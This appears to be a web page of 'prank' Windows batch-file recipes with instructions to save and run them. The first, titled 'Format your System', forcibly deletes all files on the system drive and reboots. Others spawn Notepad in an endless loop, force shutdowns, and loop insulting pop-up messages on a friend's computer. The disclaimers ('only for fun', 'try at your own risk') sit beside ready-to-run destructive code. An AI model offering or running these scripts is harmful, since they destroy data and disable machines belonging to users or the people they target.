Format your System

Type the following codes in notepad and save it by .bat extension and run it:
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00


Warning: 
It may damage your system or data. Try at your own risk.

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Restart Your Computer

Type following code in notepad and save it by .bat extension and run it:
  @echo off
shutdown -r -f -t 00


Note:
All the logics posted here are only for fun, don't use this for bad. It may harm systems. Try at your own risk. For any query contact here.

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Open Notepad Continually

Just type this code in notepad and save it as .bat extension and run it:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top 

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Loop Batch File Virus

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CONVEY YOUR FRIEND A MESSAGE & SHUTDOWN HIS COMPUTER

Type following code in notepad :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" and run it.

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CYCLE A MESSEGE IN YOUR FRIENDS COMPUTER

Type this in notepad:

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am! msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Save it as "Anything.BAT" and run it.

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